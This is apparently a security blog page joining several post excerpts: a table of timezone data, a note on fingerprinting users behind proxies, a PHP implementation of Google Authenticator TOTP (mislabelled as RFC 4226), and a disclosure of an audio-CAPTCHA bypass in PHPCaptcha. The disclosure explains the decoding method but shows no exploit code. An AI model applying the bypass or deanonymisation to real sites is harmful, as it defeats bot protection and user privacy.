-180@39045601; -120@57790801; -180@70495201; -120@89240401; -180@101944801; -120@120690001; -180@133999201; -120@152139601; -180@165448801; -120@183589201; -180@196898401; -120@215643601; -180@228348001; -120@247093201; -180@259797601; -120@278542801; -180@291247201; -120@309992401; -180@323301601; -120@341442001; -180@354751201; -120@372891601; -180@386200801; -120@404946001; -180@417650401; -120@436395601; -180@449100001; -120@467845201; -180@481154401; -120@499294801; -180@512604001; -120@530744401; -180@544053601; -120@562194001; -180@575503201; -120@594248401; -180@606952801; -120@625698001; -180@638402401; -120@657147601; -180@670456801; -120@688597201; -180@701906401; -120@720046801; -180@733356001; -120@752101201; -180@764805601; -120@783550801; -180@796255201; -120@815000401; -180@828309601; -120@846450001; -180@859759201; -120@877899601; -180@891208801; -120@909349201; -180@922658401; -120@941403601; -180@954108001; -120@972853201; -180@985557601; -120@1004302801; -180@1017612001; -120@1035752401; -180@1049061601; -120@1067202001; -180@1080511201; -120@1099256401; -180@1111960801; -120@1130706001; -180@1143410401; -120@1162155601; -180@1174860001; -120@1193605201; -180@1206914401; -120@1225054801; -180@1238364001; -120@1256504401; -180@1269813601; -120@1288558801;

This technique is handy for helping to establish the identify of users who are attempting to mask their locations by using proxy servers alone. Different operating systems may also yield slightly different results enabling you to use this technique to fingerprint both their OS and location.

Google Authenticator is based on RFC 4226 – a Time based One Time Password (TOTP) which is initialised using a 16 digit base 32  (RFC 4648) encoded seed value. Initial seeds used for the TOTP can be entered into the Google Authenticator via a camera using QR codes or via the keyboard. Google has also provided a PAM module allowing users to integrate 2FA for sshd.

A module can be written to support the Google TOTP in any language – the only caveat with writing a library for PHP is a lack of an RFC 4648 compliant base 32 decoding function. A base 32 function is needed to decode the initial seed. This is probably the most tricky part of implementing Google’s 2FA. The following function can be used:

function base32_decode($b32) {
  $lut = array("A" => 0,       "B" => 1,
               "C" => 2,       "D" => 3,
               "E" => 4,       "F" => 5,
               "G" => 6,       "H" => 7,
               "I" => 8,       "J" => 9,
               "K" => 10,      "L" => 11,
               "M" => 12,      "N" => 13,
               "O" => 14,      "P" => 15,
               "Q" => 16,      "R" => 17,
               "S" => 18,      "T" => 19,
               "U" => 20,      "V" => 21,
               "W" => 22,      "X" => 23,
               "Y" => 24,      "Z" => 25,
               "2" => 26,      "3" => 27,
               "4" => 28,      "5" => 29,
               "6" => 30,      "7" => 31
  );

  $b32    = strtoupper($b32);
  $l      = strlen($b32);
  $n      = 0;
  $j      = 0;
  $binary = "";

  for ($i = 0; $i < $l; $i++) {

       $n = $n << 5;
       $n = $n + $lut[$b32[$i]];       
       $j = $j + 5;

       if ($j >= 8) {
           $j = $j - 8;
           $binary .= chr(($n & (0xFF << $j)) >> $j);
       }
  }

  return $binary;
}

This binary seed value will be used in a SHA1 hash along with the current Unix time-stamp to generate one time tokens. The Unix time-stamp is divided by 30 so that the one time password changes every 30 seconds.

function get_timestamp() {
   return floor(microtime(true)/30);
}

Sadly you cant just pass the number from get_timestamp straight into the sha1 function. The time-stamp first needs to be reduced into a binary string of 8 bytes. Since pack doesn’t support 64bit integers we use two unsigned 32 bit integers to make up the binary form.

$binary_timestamp = pack('N*', 0) . pack('N*', $timestamp);

Once you have the binary seed and the binary timestamp you have to pass them into the “hash_mhac” function. This gives you a 20 byte sha1 string.

$hash = hash_hmac ('sha1', $binary_timestamp, $binary_key, true);

This hash is then processed in accordance with RFC 4226 to obtain the one time password.

$offset = ord($hash[19]) & 0xf;

$OTP = (
   ((ord($hash[$offset+0]) & 0x7f) << 24 ) |
    ((ord($hash[$offset+1]) & 0xff) << 16 ) |
    ((ord($hash[$offset+2]) & 0xff) << 8 ) |
    (ord($hash[$offset+3]) & 0xff)
   ) % pow(10, 6);

Now $OTP should contain your one time password. There are however still a couple of small issues to overcome if you want to use this within an application:

• Your client and server clocks may not be in sync – this could means that when you come to check your token generated by the user that it will fail. To combat this a you can either stipulate that the client and server clocks must be in perfect sync or you need to create a function which checks the tokens against those +/- 2 minutes of the current server time. This will allow your client and server to be up to 2 minutes out but obviously increases the chance that an attacker could correctly guess a one time token.

• If there is no upper limit on the number of attempts a user can make at guessing a token it may be possible to brute-force the one-time token.

• If the seed is too small and an attacker can intercept a few tokens it may be possible to brute-force the seed value allowing the attacker to generate new one-time tokens. For this reason Google enforces a minimum seed length of 16 characters or 80-bits.

• If a token is not marked as invalid as soon as it has been used an attacker who has intercepted the token may be able to quickly replay it to obtain access.

Seed value 'PEHMPSDNLXIOG65U'

A class for PHP that implements Google TOTP can be downloaded here. Its missing protection against brute-force attacks but otherwise fully functional.

You can check if its working by installing the Google Authenticator application and scanning the QR code to the right – codes generated by the application should match codes generated by the class. The function Google2FA::verify_key should be used to validate the users one time token as it allows the clients clock to drift either side of the server time by 2 minutes.

Custom QR codes can be generated using the Google QR generator at https://www.google.com/chart?chs=200×200&chld=M|0&cht=qr&chl=otpauth://totp/idontplaydarts?secret=SECRETVALUEHERE

The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via forceful browsing to the file called “/securimage_play.php”. This means that unless the administrator of the site has removed the securimage_play.php file that their site is vulnerable to attack.

The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory). To prevent simple binary analysis of the output the author randomly changes the value of every 64th byte in the generated audio file starting from an initial offset that is also defined by a random integer in the range 1-64. The effect of the mutation means that when you listen to the audio its very hard to determine what letters are being heard. The code used for the mutation is shown below:

    function scrambleAudioData(&$data, $format)
    {
        if ($format == 'wav') {
            $start = strpos($data, 'data') + 4;
            if ($start === false) $start = 44; 
        } else { // mp3
            $start = 4;
        }

        $start  += rand(1, 64); 
        $datalen = strlen($data) - $start - 256;
         
        for ($i = $start; $i < $datalen; $i += 64) {
            $ch = ord($data{$i});
            if ($ch < 9 || $ch > 119) continue;

            $data{$i} = chr($ch + rand(-8, 8));
        }
    }

While this prevents simple binary analysis of the generated audio it does not prevent an attacker from building a list of 64 byte strings from the publicly accessible audio samples and using these in comparison against the concatenated audio file. By determining where in the file these strings occur its possible to decode the CAPTCHA with a 100% success rate. The decision by the author to change only the 64th byte of the final audio file is a fatal design flaw.

You can download the PHPCaptcha exploit capable of decoding the MP3 CAPTCHA format. It is currently configured to run against the “sample_form.php” script that comes by default with SecurImage / PHPCaptcha. Below is a video of the exploit running:

No fix is currently available from the author. The only current solution is to remove the securimage_play.php script from your site.